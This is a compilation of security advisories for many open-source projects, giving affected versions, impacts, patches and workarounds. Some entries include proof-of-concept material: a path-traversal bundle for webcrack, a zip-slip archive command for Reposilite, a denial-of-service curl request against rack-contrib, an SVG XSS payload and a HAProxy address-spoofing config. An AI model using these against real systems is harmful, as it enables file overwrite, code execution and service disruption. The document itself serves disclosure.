Users are recommended to upgrade to version 3.3.0, which fixes the issue.

Archetype integration testing creates a file
called ./target/classes/archetype-it/archetype-settings.xml
This file contains all the content from the users ~/.m2/settings.xml file,
which often contains information they do not want to publish. We expect that on many developer machines, this also contains
credentials.

When the user runs mvn verify again (without a mvn clean), this file becomes part of the final artifact.

If a developer were to publish this into Maven Central or any other remote repository (whether as a release or a snapshot) their credentials would be published without them knowing.


Apache Linkis Spark EngineConn: Commons Lang's RandomStringUtils Random string security vulnerability

[Severity: HIGH]

In Apache Linkis <= 1.5.0, a Random string security vulnerability in Spark EngineConn, random string generated by the Token when starting Py4j uses the Commons Lang's RandomStringUtils.
Users are recommended to upgrade to version 1.6.0, which fixes this issue.


Gematik Referenzvalidator has an XXE vulnerability that can lead to a Server Side Request Forgery attack

[Severity: HIGH]

### Impact
The profile location routine in the referencevalidator commons package is vulnerable to [XML External Entities](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)) attack due to insecure defaults of the used Woodstox WstxInputFactory. A malicious XML resource can lead to network requests issued by referencevalidator and thus to a [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery) attack.

The vulnerability impacts applications which use referencevalidator to process XML resources from untrusted sources.

### Patches
The problem has been patched with the [2.5.1 version](https://github.com/gematik/app-referencevalidator/releases/tag/2.5.1) of the referencevalidator. Users are strongly recommended to update to this version or a more recent one.

### Workarounds
A pre-processing or manual analysis of input XML resources on existence of DTD definitions or external entities can mitigate the problem.

### References
- [OWASP Top 10 XXE](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)#)
- [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
- [OWASP XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#transformerfactory)


SpiceDB having multiple caveats on resources of the same type may improperly result in no permission

[Severity: MEDIUM]

## Background

Multiple caveats over the same indirect subject type on the same relation can result in no permission being returned when permission is expected

For example, given this schema:

```
definition user {}

caveat somecaveat(somefield int) {
  somefield == 42
}

definition group {
  relation member: user
}

definition resource {
  relation viewer: group#member with somecaveat
  permission view = folder->view
}
```

If the resource has multiple groups, and each group is caveated, it is possible for the returned permission to be "no permission" when permission is expected.

## Impact
Permission is returned as NO_PERMISSION when PERMISSION is expected on the CheckPermission API.

## Workarounds
Do not use caveats or do not use caveats on an indirect subject type with multiple entries


org.xwiki.platform:xwiki-platform-notifications-ui is missing checks for notification filter preferences editions

[Severity: HIGH]

### Impact

It's possible for any user knowing the ID of a notification filter preference of another user, to enable/disable it or even delete it. The impact is that the target user might start loosing notifications on some pages because of this.
This vulnerability is present in XWiki since 13.2-rc-1.

### Patches

The vulnerability has been patched in XWiki 14.10.21, 15.5.5, 15.10.1, 16.0-rc-1. The patch consists in checking properly the rights of the user before performing any action on the filters.

### Workarounds

It's possible to fix manually the vulnerability by editing the document `XWiki.Notifications.Code.NotificationPreferenceService` to apply the changes performed in this commit e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4.

### References

  * JIRA ticket: https://jira.xwiki.org/browse/XWIKI-20337
  * Commit: e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:security@xwiki.org)

### Attribution

This vulnerability has been reported on Intigriti by @floerer


 Decidim::Admin vulnerable to cross-site scripting (XSS) in the admin panel with QuillJS WYSWYG editor

[Severity: MEDIUM]

### Impact

The WYSWYG editor QuillJS is subject to potential XSS attach in case the attacker manages to modify the HTML before being uploaded to the server.

The attacker is able to change e.g. to <svg onload=alert('XSS')> if they know how to craft these requests themselves.

### Patches

N/A

### Workarounds

Review the user accounts that have access to the admin panel (i.e. general Administrators, and participatory space's Administrators) and remove access to them if they don't need it.

Disable the "Enable rich text editor for participants" setting in the admin dashboard

### References

OWASP ASVS v4.0.3-5.1.3


OpenDaylight Model-Driven Service Abstraction Layer (MD-SAL) allows follower controller to set up flow entries

[Severity: HIGH]

In OpenDaylight Model-Driven Service Abstraction Layer (MD-SAL) through 13.0.1, a controller with a follower role can configure flow entries in an OpenDaylight clustering deployment.


Eclipse Dataspace Components's ConsumerPullTransferTokenValidationApiController doesn't check for token validit

[Severity: MEDIUM]

In Eclipse Dataspace Components, from version 0.5.0 and before version 0.9.0, the ConsumerPullTransferTokenValidationApiController does not check for token validity (expiry, not-before, issuance date), which can allow an attacker to bypass the check for token expiration. The issue requires to have a dataplane configured to support http proxy consumer pull AND include the module "transfer-data-plane". The affected code was marked deprecated from the version 0.6.0 in favour of Dataplane Signaling. In 0.9.0 the vulnerable code has been removed.


The Bare Metal Operator (BMO) can expose particularly named secrets from other namespaces via BMH CRD

[Severity: MEDIUM]

### Impact
The Bare Metal Operator (BMO) implements a Kubernetes API for managing bare metal hosts in Metal3. The `BareMetalHost` (BMH) CRD allows the `userData`, `metaData`, and `networkData` for the provisioned host to be specified as links to Kubernetes Secrets. There are fields for both the `Name` and `Namespace` of the Secret, meaning that the baremetal-operator will read a `Secret` from any namespace. A user with access to create or edit a `BareMetalHost` can thus exfiltrate a `Secret` from another namespace by using it as e.g. the `userData` for provisioning some host (note that this need not be a real host, it could be a VM somewhere).

### Limiting factors
BMO will only read a key with the name `value` (or `userData`, `metaData`, or `networkData`), so that limits the exposure somewhat. `value` is probably a pretty common key though. Secrets used by _other_ `BareMetalHost`s in different namespaces are always vulnerable.

It is probably relatively unusual for anyone other than cluster administrators to have RBAC access to create/edit a `BareMetalHost`. This vulnerability is only meaningful, if the cluster has users other than administrators and users' privileges are limited to their respective namespaces.

### Patches
The patch prevents BMO from accepting links to Secrets from other namespaces as BMH input. Any BMH configuration is only read from the same namespace only.

The problem is patched in BMO releases v0.8.0, v0.6.2 and v0.5.2 and users should upgrade to those versions. Prior upgrading and if needed, duplicate the BMC Secrets to the namespace where the corresponding BMH is. After upgrade, remove the old Secrets.

### Workarounds
Operator can configure BMO RBAC to be namespace scoped for Secrets, instead of cluster scoped, to prevent BMO from accessing Secrets from other namespaces.

### References
- https://nvd.nist.gov/vuln/detail/CVE-2024-43803
- https://github.com/metal3-io/baremetal-operator/pull/1929
- https://github.com/metal3-io/baremetal-operator/pull/1930
- https://github.com/metal3-io/baremetal-operator/pull/1931


Mattermost allows user with systems manager role with read-only access to teams to perform write operations on teams

[Severity: HIGH]

Mattermost versions 9.9.x <= 9.9.1, 9.5.x <= 9.5.7, 9.10.x <= 9.10.0, 9.8.x <= 9.8.2 fail to properly enforce permissions which allows a user with systems manager role with read-only access to teams to perform write operations on teams.


Mage AI allows remote unauthenticated attackers to leak the terminal server command history of arbitrary users

[Severity: MEDIUM]

Mage AI allows remote unauthenticated attackers to leak the terminal server command history of arbitrary users.


In XWiki Platform, payloads stored in content is executed when a user with script/programming right edit them

[Severity: CRITICAL]

### Impact

A user without script/programming right can trick a user with elevated rights to edit a content with a malicious payload using a WYSIWYG editor.
The user with elevated rights is not warned beforehand that they are going to edit possibly dangerous content.
The payload is executed at edit time.

### Patches

This vulnerability has been patched in XWiki 15.10RC1.

### Workarounds

No workaround. It is advised to upgrade to XWiki 15.10+.

### References

* https://jira.xwiki.org/browse/XWIKI-20331
* https://jira.xwiki.org/browse/XWIKI-21311
* https://jira.xwiki.org/browse/XWIKI-21481
* https://jira.xwiki.org/browse/XWIKI-21482
* https://jira.xwiki.org/browse/XWIKI-21483
* https://jira.xwiki.org/browse/XWIKI-21484
* https://jira.xwiki.org/browse/XWIKI-21485
* https://jira.xwiki.org/browse/XWIKI-21486
* https://jira.xwiki.org/browse/XWIKI-21487
* https://jira.xwiki.org/browse/XWIKI-21488
* https://jira.xwiki.org/browse/XWIKI-21489
* https://jira.xwiki.org/browse/XWIKI-21490

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:security@xwiki.org)

### Attribution

This vulnerability has been reported on Intigriti by @floerer


Flask-CORS allows the `Access-Control-Allow-Private-Network` CORS header to be set to true by default

[Severity: HIGH]

A vulnerability in corydolphin/flask-cors version 4.0.1 allows the `Access-Control-Allow-Private-Network` CORS header to be set to true by default, without any configuration option. This behavior can expose private network resources to unauthorized external access, leading to significant security risks such as data breaches, unauthorized access to sensitive information, and potential network intrusions.


Nomad Vulnerable to Allocation Directory Escape On Non-Existing File Paths Through Archive Unpacking

[Severity: MEDIUM]

In HashiCorp Nomad and Nomad Enterprise from 0.6.1 up to 1.6.13, 1.7.10, and 1.8.2, the archive unpacking process is vulnerable to writes outside the allocation directory during migration of allocation directories when multiple archive headers target the same file. This vulnerability, CVE-2024-7625, is fixed in Nomad 1.6.14, 1.7.11, and 1.8.3. Access or compromise of the Nomad client agent at the source allocation first is a prerequisite for leveraging this vulnerability.


webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle

[Severity: MEDIUM]

### Summary
An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.

### Details

Source: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79)
```ts
import { posix } from 'node:path';
import type { Module } from './module';

// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;

/* ... snip ... */

const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
    throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
    recursive: true
});
await writeFile(modulePath, module.code, 'utf8');
```

In this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.

### PoC
The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js:

**Malicious Script (what.js):**

```js
(function (e) {
    var n = {};
    function o(r) {
      if (n[r]) {
        return n[r].exports;
      }
      var a = (n[r] = {
        i: r,
        l: false,
        exports: {},
      });
      e[r].call(a.exports, a, a.exports, o);
      a.l = true;
      return a.exports;
    }
    o.p = '';
    o((o.s = 386));
  })({
    './\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
        module.exports = () => console.log("pwned")
    },
  });
```

**Webcrack Script (index.js):**

```js
import fs from 'fs';
import { webcrack } from 'webcrack';

const input = fs.readFileSync('what.js', 'utf8');

const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');
```

**Execution:**
Running the above script with `node index.js` twice results in the following output being printed to the terminal:

```
PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
  var n = {};
  function o(r) {
    if (n[r]) {
      return n[r].exports;
    }
    var a = n[r] = {
      i: r,
      l: false,
      exports: {}
    };
    e[r].call(a.exports, a, a.exports, o);
    a.l = true;
    return a.exports;
  }
  o.p = "";
  o(o.s = 386);
})({
  "./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
    module.exports = () => console.log("pwned");
  }
});
WebpackBundle {
  type: 'webpack',
  entryId: '386',
  modules: Map(1) {
    './\\..\\node_modules\\debug\\src\\index' => WebpackModule {
      id: './\\..\\node_modules\\debug\\src\\index',
      isEntry: false,
      path: '././\\..\\node_modules\\debug\\src\\index.js',
      ast: [Object]
    }
  }
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
  if (options.log) logger(`${name}: started`);
                   ^

TypeError: logger is not a function
    at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
    at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
    at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
    at async file:///C:/Webcrack/index.js:6:16

Node.js v18.16.0
```

This demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution.

### Impact
This vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.


Path traversal in Reposilite javadoc file expansion (arbitrary file creation/overwrite) (`GHSL-2024-073`)

[Severity: HIGH]

### Summary
Reposilite v3.5.10 is affected by an Arbitrary File Upload vulnerability via path traversal in expanding of Javadoc archives.

### Details
Reposilite provides support for JavaDocs files, which are archives that contain documentation for artifacts. Specifically, [JavadocEndpoints.kt](https://github.com/dzikoysk/reposilite/blob/68b73f19dc9811ccf10936430cf17f7b0e622bd6/reposilite-backend/src/main/kotlin/com/reposilite/javadocs/infrastructure/JavadocEndpoints.kt#L28) controller allows to expand the javadoc archive into the server's file system and return its content. The problem is in the way how the archives are expanded, specifically how the new filename is created:

[JavadocContainerService.kt#L127-L136](https://github.com/dzikoysk/reposilite/blob/68b73f19dc9811ccf10936430cf17f7b0e622bd6/reposilite-backend/src/main/kotlin/com/reposilite/javadocs/JavadocContainerService.kt#L127-L136)

```kotlin
jarFile.entries().asSequence().forEach { file ->
    if (file.isDirectory) {
        return@forEach
    }

     val path = Paths.get(javadocUnpackPath.toString() + "/" + file.name)

    path.parent?.also { parent -> Files.createDirectories(parent) }
    jarFile.getInputStream(file).copyToAndClose(path.outputStream())
}.asSuccess<Unit, ErrorResponse>()
```

The `file.name` taken from the archive can contain path traversal characters, such as '/../../../anything.txt', so the resulting extraction path can be outside the target directory.

### Impact

If the archive is taken from an untrusted source, such as Maven Central or JitPack for example, an attacker can craft a special archive to overwrite any local file on Reposilite instance. This could lead to remote code execution, for example by placing a new plugin into the '$workspace$/plugins' directory. Alternatively, an attacker can overwrite the content of any other package.

Note that the attacker can use its own malicious package from Maven Central to overwrite any other package on Reposilite.

### Steps to reproduce

1. Create a malicious javadoc archive that contains filenames with path traversal characters:
```bash
zip test-1.0-javadoc.jar ../../../../../../../../tmp/evil.txt index.html
```
Make sure that `../../../../../../../../tmp/evil.txt` and `index.html` files exist on the system where you create this archive.

2. Publish this archive to the repository which Reposilite is mirroring, such as Maven Central or JitPack. For the test purposes, I used my own server that imitates the upstream maven repository:
http://artsploit.com/maven/com/artsploit/reposilite-zipslip/1.0/reposilite-zipslip-1.0-javadoc.jar

3. Start Reposilite with 'releases' repository mirroring to 'http://artsploit.com/maven/'

4. Now, if the attacker send the request to http://localhost:8080/javadoc/releases/com/artsploit/reposilite-zipslip/1.0, the aforementioned archive will be obtained from  the http://artsploit.com/maven/com/artsploit/reposilite-zipslip/1.0/reposilite-zipslip-1.0-javadoc.jar address and its 'evil.txt' file will be expanded to '$workspace$/tmp/evil.txt'. Note that to perform this action, an attacker does not need to provide any credentials, as fetching from the mirrored repository does not require authentication.

6. Confirm that '$workspace$/tmp/evil.txt' is created on the server where Reposilite is running.

### Remediation

Normalize (remove all occurrences of `/../`) the `file.name` variable before concatenating it with `javadocUnpackPath`. E.g.:

```kotlin
val path = Paths.get(javadocUnpackPath.toString() + "/" + Paths.get(file.name).normalize().toString())
```


Mattermost allows a remote actor to permanently delete local data by abusing dangerous error handling

[Severity: MEDIUM]

Mattermost versions 9.9.x <= 9.9.0, 9.5.x <= 9.5.6, 9.7.x <= 9.7.5, 9.8.x <= 9.8.1 fail to properly safeguard an error handling which allows a malicious remote to permanently delete local data by abusing dangerous error handling, when share channels were enabled.


Mattermost failed to properly validate that the channel that comes from the sync message is a shared channel

[Severity: CRITICAL]

Mattermost versions 9.9.x <= 9.9.0, 9.5.x <= 9.5.6, 9.7.x <= 9.7.5 and 9.8.x <= 9.8.1 fail to properly validate that the channel that comes from the sync message is a shared channel, when shared channels are enabled, which allows a malicious remote to add users to arbitrary teams and channels


Mattermost failed to disallow the modification of local users when syncing users in shared channels

[Severity: MEDIUM]

Mattermost versions 9.9.x <= 9.9.0, 9.5.x <= 9.5.6, 9.7.x <= 9.7.5, 9.8.x <= 9.8.1 fail to disallow the modification of local users when syncing users in shared channels. which allows a malicious remote to overwrite an existing local user.


GraphQL Java does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service

[Severity: HIGH]

GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.


tgstation-server's DreamMaker environment files outside the deployment directory can be compiled and ran by insufficiently permissioned users

[Severity: HIGH]

### Impact
_What kind of vulnerability is it? Who is impacted?_

Low permission users using the "Set .dme Path" privilege could potentially set malicious .dme files existing on the host machine to be compiled and executed.

These .dme files could be uploaded via tgstation-server (requiring a separate, isolated privilege) or some other means.

A server configured to execute in BYOND's trusted security level (requiring a third separate, isolated privilege OR being set by another user) could lead to this escalating into remote code execution via BYOND's shell() proc.

The ability to execute this kind of attack is a known side effect of having privileged TGS users, but normally requires multiple privileges with known weaknesses. This vector is not intentional as it does not require control over the where deployment code is sourced from and _may_ not require remote write access to an instance's `Configuration` directory.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

This problem is patched by pull request #1835 and fixed in versions 6.8.0 and above.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

Do not give un-trusted users the Deployment permission to set a .dme path on instances.


Starship vulnerable to shell injection via undocumented, unpredictable shell expansion in custom commands

[Severity: HIGH]

## Description
Starship is a cross-shell prompt. Starting in version 1.0.0 and prior to version 1.20.0, undocumented and unpredictable shell expansion and/or quoting rules make it easily to accidentally cause shell injection when using custom commands with starship in bash. Version 1.20.0 fixes the vulnerability.

### PoC
Have some custom command which prints out information from a potentially untrusted/unverified source.
```
[custom.git_commit_name]
command = 'git show -s --format="%<(25,mtrunc)%s"'
style = "italic"
when = true
```

### Impact
This issue only affects users with custom commands, so the scope is limited, and without knowledge of others' commands, it could be hard to successfully target someone.


Backdrop CMS does not sufficiently sanitize field labels before they are displayed in certain places

[Severity: MEDIUM]

Backdrop CMS before 1.27.3 and 1.28.x before 1.28.2 does not sufficiently sanitize field labels before they are displayed in certain places. This vulnerability is mitigated by the fact that an attacker must have a role with the "administer fields" permission.


matrix-sdk-crypto's `UserIdentity::is_verified` not checking verification status of own user identity while performing the check

[Severity: MEDIUM]

The `UserIdentity::is_verified()` method in the matrix-sdk-crypto crate before version 0.7.2 doesn't take into account the verification status of the user's own identity while performing the check and may as a result return a value contrary to what is implied by its name and documentation.

### Impact

If the method is used to decide whether to perform sensitive operations towards a user identity, a malicious homeserver could manipulate the outcome in order to make the identity appear trusted. This is not a typical usage of the method, which lowers the impact. The method itself is not used inside the `matrix-sdk-crypto` crate.

### Patches

The 0.7.2 release of the `matrix-sdk-crypto` crate includes a fix.

### Workarounds

None.


vodozemac's usage of non-constant time base64 decoder could lead to leakage of secret key material

[Severity: MEDIUM]

Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and `PkDecryption` Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack.

### Impact

The use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material.

The impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes.  Additionally, the estimated leakage amount is bounded and low according to the referenced paper.

### Patches

The patch is in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272.

### Workarounds
None.

### References
A detailed description of the precise attack can be found at https://arxiv.org/abs/2108.04600. We kindly thank Soatok for pointing out this research to us.

### For more information
If you have any questions or comments about this advisory please email us at [security at matrix.org](mailto:security@matrix.org).


NHibernate SQL injection vulnerability in discriminator mappings, static fields referenced in HQL, and some utilities

[Severity: HIGH]

### Impact
A SQL injection vulnerability exists in some types implementing `ILiteralType.ObjectToSQLString`. Callers of these methods are exposed to the vulnerability, which includes:
 - Mappings using inheritance with discriminator values:
   - The discriminator value could be written in the mapping in a way exploiting the vulnerability of the associated discriminator type, if that type is among the vulnerable ones.
   - The current culture settings for formatting the discriminator value type could be altered in a way resulting into SQL injections with the discriminator values.
 - HQL queries referencing a static field of the application.
 - Users of the `SqlInsertBuilder` and `SqlUpdateBuilder` utilities, calling their `AddColumn` overload taking a literal value. These overloads are unused by NHibernate but could be used by users referencing directly these utilities.
 - Any direct use of the `ObjectToSQLString` methods for building SQL queries on the user side.

### Patches
Releases 5.4.9 and 5.5.2.

### Workarounds
 - Ensure the application does not use the features listed above.
 - For discriminator usages, ensure the discriminator values in the mappings do not contain quotes for string discriminators. Furthermore, for types which `ToString` conversion can be altered to include SQL injections through adequate hacking of the current culture settings, either change for another type, or ensure the used values cannot allow culture exploits, or ensure the application performs sanity checks of the current culture settings. Types sensitive to culture include integers for negative values, dates, times and datetimes, floats and decimals.

### References
 - https://github.com/nhibernate/nhibernate-core/issues/3516
 - https://github.com/nhibernate/nhibernate-core/pull/3517
 - https://github.com/nhibernate/nhibernate-core/pull/3547


Malicious Matrix homeserver can leak truncated message content of messages it shouldn't have access to

[Severity: MEDIUM]

### Impact

The fix for GHSA-wm4w-7h2q-3pf7 / [CVE-2024-32000](https://www.cve.org/CVERecord?id=CVE-2024-32000) included in matrix-appservice-irc 2.0.0 relied on the Matrix homeserver-provided timestamp to determine whether a user has access to the event they're replying to when determining whether or not to include a truncated version of the original event in the IRC message. Since this value is controlled by external entities, a malicious Matrix homeserver joined to a room in which a matrix-appservice-irc bridge instance (before version 2.0.1) is present can fabricate the timestamp with the intent of tricking the bridge into leaking room messages the homeserver should not have access to.

### Patches

matrix-appservice-irc 2.0.1 [drops the reliance](https://github.com/matrix-org/matrix-appservice-irc/pull/1804) on `origin_server_ts` when determining whether or not an event should be visible to a user, instead tracking the event timestamps internally.

### Workarounds

It's possible to limit the amount of information leaked by setting a reply template that doesn't contain the original message. See [these lines](https://github.com/matrix-org/matrix-appservice-irc/blob/d5d67d1d3ea3f0f6962a0af2cc57b56af3ad2129/config.sample.yaml#L601-L604) in the configuration file.

### References

- Patch: https://github.com/matrix-org/matrix-appservice-irc/pull/1804

### For more information

If you have any questions or comments about this advisory, please email us at [security at matrix.org](mailto:security@matrix.org).


aimeos/ai-admin-jsonadm improper access control vulnerability allows editors to remove required records

[Severity: MEDIUM]

Improper access control allows editors to remove admin group and locale configuration in Aimeos backend


aimeos/ai-admin-graphql improper access control vulnerability allows editors to manage own services

[Severity: LOW]

aimeos/ai-admin-graphql is the Aimeos GraphQL API admin interface. Starting in version 2022.04.1 and prior to versions 2022.10.10, 2023.10.6, and 2024.4.2, improper access control allows a editors to manage own services via GraphQL API which isn't allowed in the JQAdm front end. Versions 2022.10.10, 2023.10.6, and 2024.4.2 contain a patch for the issue.


aimeos/ai-admin-graphql improper access control vulnerability allows an editor to modify admin account

[Severity: HIGH]

aimeos/ai-admin-graphql is the Aimeos GraphQL API admin interface. Starting in version 2022.04.01 and prior to versions 2022.10.10, 2023.10.6, and 2024.04.6, an improper access control vulnerability allows an editor to modify and take over an admin account in the back end. Versions 2022.10.10, 2023.10.6, and 2024.04.6 fix this issue.


Withdrawn Advisory: Gradio was discovered to contain a code injection vulnerability via the component /gradio/component_meta.py

[Severity: CRITICAL]

### Withdrawn Advisory
This advisory has been withdrawn because the it only affects a user who runs specifically crafted code that happens to use gradio library. More information can be found [here](https://github.com/gradio-app/gradio/issues/8853).

### Original Description
Gradio v4.36.1 was discovered to contain a code injection vulnerability via the component /gradio/component_meta.py. This vulnerability is triggered via a crafted input.


adolph_dudu ratio-swiper was discovered to contain a prototype pollution via the function extendDefaults

[Severity: MEDIUM]

adolph_dudu ratio-swiper v0.0.2 was discovered to contain a prototype pollution via the function extendDefaults. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.


Apache StreamPipes: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Recovery Token Generation

[Severity: CRITICAL]

Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) vulnerability in Apache StreamPipes user self-registration and password recovery mechanism.
This allows an attacker to guess the recovery token in a reasonable time and thereby to take over the attacked user's account.
This issue affects Apache StreamPipes: from 0.69.0 through 0.93.0.

Users are recommended to upgrade to version 0.95.0, which fixes the issue.


Magento Open Source affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability

[Severity: CRITICAL]

Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution. An attacker could exploit this vulnerability by sending a crafted XML document that references external entities. Exploitation of this issue does not require user interaction.


Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability

[Severity: MEDIUM]

Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability.


qdrant is vulnerable to path traversal due to improper input validation in the `/collections/{name}/snapshots/upload` endpoint

[Severity: CRITICAL]

qdrant/qdrant version 1.9.0-dev is vulnerable to path traversal due to improper input validation in the `/collections/{name}/snapshots/upload` endpoint. By manipulating the `name` parameter through URL encoding, an attacker can upload a file to an arbitrary location on the system, such as `/root/poc.txt`. This vulnerability allows for the writing and overwriting of arbitrary files on the server, potentially leading to a full takeover of the system. The issue is fixed in version 1.9.0.


rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

[Severity: HIGH]

### Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

```ruby
        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end
```

An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"` may cause resource exhaution by a remotely controlled value.

### PoC

Herein the `config.ru` file:

```ruby
require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app
```

A Dockerfile:

```Dockerfile
# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

```

A Gemfile

```
source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
```

A Docker compose

```Dockerfile
services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"
```

To run the PoC

```bash
docker compose up --build
```

To exploit DoS:

```bash
curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
```

### Impact
 - Potential denial of service by remotely user-controlled data.


Gradio applications running locally vulnerable to 3rd party websites accessing routes and uploading files

[Severity: MEDIUM]

### Impact
This CVE covers the ability of 3rd party websites to access routes and upload files to users running Gradio applications locally.  For example, the malicious owners of [www.dontvisitme.com](http://www.dontvisitme.com/) could put a script on their website that uploads a large file to http://localhost:7860/upload and anyone who visits their website and has a Gradio app will now have that large file uploaded on their computer

### Patches
Yes, the problem has been patched in Gradio version 4.19.2 or higher. We have no knowledge of this exploit being used against users of Gradio applications, but we encourage all users to upgrade to Gradio 4.19.2 or higher.

Fixed in: https://github.com/gradio-app/gradio/commit/84802ee6a4806c25287344dce581f9548a99834a
CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1727


Withdrawn Advisory: Weights and Biases (wandb) has a Server-Side Request Forgery (SSRF) vulnerability

[Severity: HIGH]

## Withdrawn Advisory
This advisory has been withdrawn because the underlying issue existed in Weights and Biases's backend server code, not the software development kit included in the `wandb` PyPI package, as originally reported. This link is maintained to preserve external references.

## Original Description
A Server-Side Request Forgery (SSRF) vulnerability exists in the wandb/wandb repository due to improper handling of HTTP 302 redirects. This issue allows team members with access to the 'User settings -> Webhooks' function to exploit this vulnerability to access internal HTTP(s) servers. In severe cases, such as on AWS instances, this could potentially be abused to achieve remote code execution on the victim's machine. The vulnerability is present in the latest version of the repository.


Bonitasoft Runtime Community edition's contains an insecure direct object references vulnerability

[Severity: MEDIUM]

In Bonitasoft runtime Community edition, the lack of dynamic permissions causes IDOR vulnerability. Dynamic permissions existed only in Subscription edition and have now been restored in Community edition, where they are not custmizable.


sshpiper's enabling of proxy protocol without proper feature flagging allows faking source address

[Severity: MEDIUM]

### Summary

The way the proxy protocol listener is implemented in sshpiper can allow an attacker to forge their connecting address.

### Details

[This commit](https://github.com/tg123/sshpiper/commit/2ddd69876a1e1119059debc59fe869cb4e754430) added the proxy protocol listener as the only listener in sshpiper, with no option to toggle this functionality off. This means that any connection that sshpiper is directly (or in some cases indirectly) exposed to can use proxy protocol to forge its source address.

### PoC

You can use a configuration like this in HAProxy:

```
listen w-send-proxy
    mode tcp
    log global
    option tcplog
    bind *:27654
    tcp-request connection set-src ipv4(1.1.1.1)
    server app1 ssh-piper-hostname:22 send-proxy
```

